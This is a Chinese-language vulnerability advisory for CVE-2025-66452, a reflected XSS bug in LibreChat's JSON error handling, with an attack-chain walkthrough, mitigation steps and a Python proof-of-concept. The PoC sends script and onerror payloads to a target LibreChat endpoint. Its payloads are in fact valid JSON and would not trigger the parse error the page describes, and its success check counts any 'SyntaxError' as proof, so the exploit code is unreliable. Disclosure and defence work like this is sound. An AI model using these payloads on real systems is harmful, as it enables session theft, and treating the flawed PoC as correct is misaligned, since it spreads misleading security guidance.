IPBUF安全漏洞报告
English
CVE-2025-66452 CVSS 6.1 中危

CVE-2025-66452 LibreChat JSON解析错误导致的XSS漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-66452
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LibreChat

相关标签

XSS反射型XSSLibreChatJSON解析错误JavaScript注入CVE-2025-66452Node.jsExpress.jsWeb安全

漏洞概述

LibreChat是一款开源的ChatGPT克隆应用,提供了额外的功能和特性。在LibreChat 0.8.0及以下版本中,存在一个严重的跨站脚本(XSS)漏洞。该漏洞源于express.json()中间件在处理JSON解析错误时,没有对错误信息进行安全处理。当用户提交格式不正确的JSON数据时,express.json()会抛出SyntaxError异常,而该异常的错误消息中包含了用户的原始输入内容。这些未经过滤的用户输入会被直接反映到HTTP响应中,如果响应中包含用户可控的HTML或JavaScript代码,浏览器可能会将其解析执行,从而造成XSS攻击。攻击者可以利用此漏洞窃取用户的会话Cookie、劫持用户账号或进行其他恶意操作。由于该漏洞不需要特殊的认证条件,攻击者只需要诱导用户访问恶意构造的链接或提交特定格式的请求即可触发。值得注意的是,该漏洞在披露时官方尚未提供修复版本。

技术细节

该漏洞的核心问题在于LibreChat使用了Node.js的express.json()中间件来处理请求体的JSON解析,但在处理解析错误时没有实现适当的异常捕获和错误处理机制。当用户提交的请求体不是有效的JSON格式时,express.json()会抛出SyntaxError异常,其错误消息中包含了用户的原始输入字符串。例如,如果用户提交{invalid json},错误消息可能会包含'Unexpected token i in JSON at position 0'这样的内容,其中包含用户输入的部分字符串。攻击者可以通过精心构造包含HTML标签或JavaScript代码的请求体来触发此漏洞。由于express.json()的错误处理没有对输出进行HTML编码或过滤,这些恶意代码会被包含在错误响应中返回给客户端。如果客户端浏览器的Content-Type头没有严格设置为text/plain,或者响应被以HTML方式解析,注入的JavaScript代码就会在受害者浏览器中执行。攻击者通常会使用<img>、<script>或其他可执行脚本的HTML标签来实现代码执行,例如使用onerror事件处理器来触发JavaScript代码。

攻击链分析

STEP 1
步骤1
攻击者识别目标LibreChat服务器(版本0.8.0或更低),确认其使用express.json()中间件处理JSON请求
STEP 2
步骤2
攻击者构造包含恶意HTML/JavaScript代码的畸形JSON请求体,如在JSON字段名或值中嵌入<script>标签或事件处理器
STEP 3
步骤3
攻击者通过POST请求将该畸形JSON发送到LibreChat的API端点(如/api/chat或任何使用express.json()的路由)
STEP 4
步骤4
服务器端express.json()无法解析畸形JSON,抛出SyntaxError异常,错误消息中包含用户的原始输入内容
STEP 5
步骤5
LibreChat将包含用户输入的错误消息直接反映在HTTP响应中,未进行HTML编码或过滤
STEP 6
步骤6
受害者的浏览器接收到响应后,如果Content-Type未严格设置为text/plain,浏览器会将响应内容作为HTML解析
STEP 7
步骤7
浏览器执行注入的JavaScript代码,攻击者成功实现XSS攻击,可窃取Cookie、劫持会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66452 PoC - LibreChat JSON Parsing Error XSS # Target: LibreChat <= 0.8.0 target_url = "http://target-server/api/chat" # Payload: Malformed JSON with XSS vector malformed_json = '{"messages":[{"role":"user","content":"test"}],"<img src=x onerror=alert(document.domain)>":"value"}' headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print("[*] Sending malformed JSON request to trigger XSS...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {malformed_json}") try: response = requests.post(target_url, data=malformed_json, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body Preview: {response.text[:500]}") # Check if our XSS payload appears in the response (indicating vulnerability) if 'onerror=alert' in response.text or 'SyntaxError' in response.text: print("[!] VULNERABLE: XSS payload reflected in error response") else: print("[-] Response does not reflect payload or different error occurred") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative PoC using invalid JSON syntax print("\n[*] Trying alternative payload with raw invalid JSON...") alt_payload = '{"test":"value", "<script>alert(1)</script>":"data"}' try: response2 = requests.post(target_url, data=alt_payload, headers=headers, timeout=10) if '<script>alert(1)</script>' in response2.text: print("[!] VULNERABLE: Script tag reflected in response") except: pass

影响范围

LibreChat <= 0.8.0

防御指南

临时缓解措施
由于官方尚未发布修复版本,建议采取以下临时缓解措施:1)在express中间件层面添加全局错误处理,捕获所有JSON解析异常并返回统一格式的错误响应,避免原始输入泄露;2)确保所有API响应明确设置Content-Type为application/json或text/plain;3)部署Web应用防火墙规则来检测和阻止包含HTML标签或JavaScript事件的畸形JSON请求;4)限制express.json()的错误详细信息暴露给客户端;5)考虑临时禁用可能暴露此漏洞的API端点或实施请求速率限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表